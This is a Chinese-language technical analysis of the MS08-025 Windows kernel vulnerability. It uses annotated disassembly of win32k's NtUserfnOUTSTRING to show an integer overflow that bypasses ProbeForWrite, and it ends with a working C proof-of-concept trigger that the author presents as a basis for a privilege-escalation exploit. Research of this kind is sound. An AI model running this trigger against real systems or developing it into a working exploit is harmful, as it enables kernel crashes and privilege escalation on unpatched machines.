ms08025内核漏洞深度分析

漏洞对于系统用户来说并不陌生，几乎是所有的系统和软件都会有漏洞产生。我们几乎就是在填补漏洞和发现新漏洞中使用系统的。ms08025漏洞是一个可被攻击者利用的漏洞，本篇文章分析了ms08025漏洞补丁，下面我们就从NtUserfnOUTSTRING 函数中的问题来展开我们的分析。

.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near
.text:BF86FB04 ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6Ep
.text:BF86FB04 ; NtUserMessageCall(x,x,x,x,x,x,x)+61p
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6Dp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)+60p ...
.text:BF86FB04
.text:BF86FB04 var_24  = dword ptr -24h
.text:BF86FB04 var_20  = dword ptr -20h
.text:BF86FB04 UserBuffer  = dword ptr -1Ch
.text:BF86FB04 ms_exc  = CPPEH_RECORD ptr -18h
.text:BF86FB04 arg_0   = dword ptr  8
.text:BF86FB04 arg_4   = dword ptr  0Ch
.text:BF86FB04 arg_8   = dword ptr  10h
.text:BF86FB04 Address = dword ptr  14h
.text:BF86FB04 arg_10  = dword ptr  18h
.text:BF86FB04 arg_14  = dword ptr  1Ch
.text:BF86FB04 arg_18  = dword ptr  20h
.text:BF86FB04
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES
.text:BF86FB04
.text:BF86FB04 push14h
.text:BF86FB06 pushoffset unk_BF98D250
.text:BF86FB0B call__SEH_prolog
.text:BF86FB0B
.text:BF86FB10 xor edx, edx
.text:BF86FB12 mov [ebp+ms_exc.disabled], edx
.text:BF86FB15 mov eax, [ebp+var_20]
.text:BF86FB18 mov ecx, 7FFFFFFFh
.text:BF86FB1D and eax, ecx
.text:BF86FB1F mov esi, [ebp+arg_18]
.text:BF86FB22 shl esi, 1Fh
.text:BF86FB25 or  eax, esi
.text:BF86FB27 mov [ebp+var_20], eax
.text:BF86FB2A mov esi, eax
.text:BF86FB2C xor esi, [ebp+arg_8]  -> esi = 缓冲区长度
.text:BF86FB2F and esi, ecx
.text:BF86FB31 xor eax, esi
.text:BF86FB33 mov [ebp+var_20], eax
.text:BF86FB36 cmp [ebp+arg_18], edx  -> 如果是 ansi 方式就直接进行检查
否则需要计算unicode的大小
.text:BF86FB39 jnz short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B lea esi, [eax+eax]<- 注意这里，问题就在这
此时 eax = unicode字符串的长度，
<- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000，32位的寄存器
<- 被溢出了，esi = 0
.text:BF86FB3E xor esi, eax
.text:BF86FB40 and esi, ecx
.text:BF86FB42 xor eax, esi
.text:BF86FB44 mov [ebp+var_20], eax -> 保存unicode占用的空间大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47:   ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35j
.text:BF86FB47 mov [ebp+var_24], edx
.text:BF86FB4A mov esi, [ebp+Address]
.text:BF86FB4D mov [ebp+UserBuffer], esi
.text:BF86FB50 xor ebx, ebx
.text:BF86FB52 inc ebx
.text:BF86FB53 pushebx ; Alignment
.text:BF86FB54 and eax, ecx
.text:BF86FB56 pusheax ; Length <- 由于 eax = 0，所以ProbeForWrite被绕过
.text:BF86FB57 pushesi ; Address
.text:BF86FB58 callds:ProbeForWrite(x,x,x)


bf80a1b0 e96ef4ffff   jmp   win32k!xxxRealDefWindowProc+0x1235 (bf809623)
bf80a1b5 d1e8 shr eax,1
bf80a1b7 894510   mov [ebp+0x10],eax
bf80a1ba ebf1 jmpwin32k!xxxRealDefWindowProc+0x190 (bf80a1ad)
bf80a1bc 8b4514   mov eax,[ebp+0x14]
bf80a1bf f6400780 testbyte ptr [eax+0x7],0x80
bf80a1c3 8b4008   mov eax,[eax+0x8]
bf80a1c6 7408 jz win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)
bf80a1c8 c60000   mov byte ptr [eax],0x0
bf80a1cb e951f4ffff   jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d0 668910  mov [eax],dx<- 在这里，对前面传入的指针进行了2个字节的写操作，写入的数据为0
bf80a1d3 e949f4ffff   jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d8 6a00 push0x0
bf80a1da 6a02 push0x2
bf80a1dc ff7638   pushdword ptr [esi+0x38]
bf80a1df e8d1690200   callwin32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8 mov edi,eax
bf80a1e6 85ff testedi,edi
bf80a1e8 0f8433f4ffff jewin32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1ee 8d7710   lea esi,[edi+0x10]

那么怎么触发ms08025漏洞呢，我又分析了user32.dll 和 win32k!NtUserMessageCall，发现触发这个漏洞很简单，只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了，下面是poc代码(注，改代码运行后由于在内核写了未映射的内存，会直接蓝屏，要改成可用的exploit，可以参考我以前的exploit)

 
#include <stdio.h> 
#include <windows.h> 
 
int main(int argc,char *argv[])  
{  
DWORDdwHookAddress = 0x80000000;  
 
printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );  
printf( "Create by Whitecell's [email protected] 2008/04/10\n" );  
 
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );  
return 0;  
}